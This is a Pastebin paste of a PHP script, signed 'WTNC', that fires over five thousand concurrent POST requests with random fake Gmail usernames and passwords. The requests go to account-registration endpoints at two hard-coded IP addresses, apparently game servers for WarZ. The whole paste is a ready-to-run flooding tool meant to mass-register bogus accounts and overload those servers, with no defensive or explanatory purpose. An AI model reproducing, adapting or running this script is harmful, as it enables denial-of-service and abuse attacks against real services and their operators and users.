Advertisement
wtnc

Warz AccRegister

Aug 25th, 2017
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.52 KB | None | 0 0
  1. #### Run iis ####
  2.  
  3.  
  4. <?php
  5. ########### WTNC #############
  6. #### www.facebook.com/bmc.in.th ####
  7. ini_set("memory_limit","4048M");
  8. $data = array(array(),array());
  9. for ($i = 1; $i <= 1024; $i++)
  10. {
  11. $username = rand(1000000, 9000000);
  12. $password = rand(1000000, 9000000);
  13.  
  14. $data[$i]['url'] = 'http://27.254.149.113/warz-skinz/api/api_AccRegister.aspx';
  15. $data[$i]['post'] = array();
  16. $data[$i]['post']['username'] = $username."@gmail.com";
  17. $data[$i]['post']['password'] = $password;
  18. $data[$i]['post']['serial'] = 0;
  19. $data[$i]['post']['email'] = 'not@used.anymore';
  20. }
  21.  
  22. for ($i = 1; $i <= 1024; $i++)
  23. {
  24. $username = rand(10000000, 90000000);
  25. $password = rand(10000000, 90000000);
  26.  
  27. $data2[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
  28. $data2[$i]['post'] = array();
  29. $data2[$i]['post']['username'] = $username."@gmail.com";
  30. $data2[$i]['post']['password'] = $password;
  31. $data2[$i]['post']['serial'] = 0;
  32. $data2[$i]['post']['email'] = 'not@used.anymore';
  33. }
  34.  
  35. for ($i = 1; $i <= 1024; $i++)
  36. {
  37. $username = rand(10000000, 90000000);
  38. $password = rand(10000000, 90000000);
  39.  
  40. $data3[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
  41. $data3[$i]['post'] = array();
  42. $data3[$i]['post']['username'] = $username."@gmail.com";
  43. $data3[$i]['post']['password'] = $password;
  44. $data3[$i]['post']['serial'] = 0;
  45. $data3[$i]['post']['email'] = 'not@used.anymore';
  46. }
  47.  
  48. for ($i = 1; $i <= 1024; $i++)
  49. {
  50. $username = rand(10000000, 90000000);
  51. $password = rand(10000000, 90000000);
  52.  
  53. $data4[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
  54. $data4[$i]['post'] = array();
  55. $data4[$i]['post']['username'] = $username."@gmail.com";
  56. $data4[$i]['post']['password'] = $password;
  57. $data4[$i]['post']['serial'] = 0;
  58. $data4[$i]['post']['email'] = 'not@used.anymore';
  59. }
  60.  
  61. for ($i = 1; $i <= 1024; $i++)
  62. {
  63. $username = rand(10000000, 90000000);
  64. $password = rand(10000000, 90000000);
  65.  
  66. $data5[$i]['url'] = 'http://43.254.133.112/api/api_AccRegister.aspx';
  67. $data5[$i]['post'] = array();
  68. $data5[$i]['post']['username'] = $username."@gmail.com";
  69. $data5[$i]['post']['password'] = $password;
  70. $data5[$i]['post']['serial'] = 0;
  71. $data5[$i]['post']['email'] = 'not@used.anymore';
  72. }
  73.  
  74. $r = multiRequest($data);
  75. $r2 = multiRequest($data2);
  76. $r3 = multiRequest($data3);
  77. $r4 = multiRequest($data4);
  78. $r5 = multiRequest($data5);
  79. print_r($r);
  80. print_r($r2);
  81. print_r($r3);
  82. print_r($r4);
  83. print_r($r5);
  84.  
  85. function multiRequest($data, $options = array()) {
  86.  
  87.  
  88. $curly = array();
  89.  
  90. $result = array();
  91.  
  92.  
  93. $mh = curl_multi_init();
  94.  
  95.  
  96. foreach ($data as $id => $d) {
  97.  
  98. $curly[$id] = curl_init();
  99.  
  100. $url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d;
  101. curl_setopt($curly[$id], CURLOPT_URL, $url);
  102. curl_setopt($curly[$id], CURLOPT_HEADER, 0);
  103. curl_setopt($curly[$id], CURLOPT_RETURNTRANSFER, 1);
  104.  
  105.  
  106. if (is_array($d)) {
  107. if (!empty($d['post'])) {
  108. curl_setopt($curly[$id], CURLOPT_POST, 1);
  109. curl_setopt($curly[$id], CURLOPT_POSTFIELDS, $d['post']);
  110. }
  111. }
  112.  
  113.  
  114. if (!empty($options)) {
  115. curl_setopt_array($curly[$id], $options);
  116. }
  117.  
  118. curl_multi_add_handle($mh, $curly[$id]);
  119. }
  120.  
  121.  
  122. $running = null;
  123. do {
  124. curl_multi_exec($mh, $running);
  125. } while($running > 0);
  126.  
  127.  
  128.  
  129. foreach($curly as $id => $c) {
  130. $result[$id] = curl_multi_getcontent($c);
  131. curl_multi_remove_handle($mh, $c);
  132. }
  133.  
  134.  
  135. curl_multi_close($mh);
  136.  
  137. return $result;
  138. }
  139. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement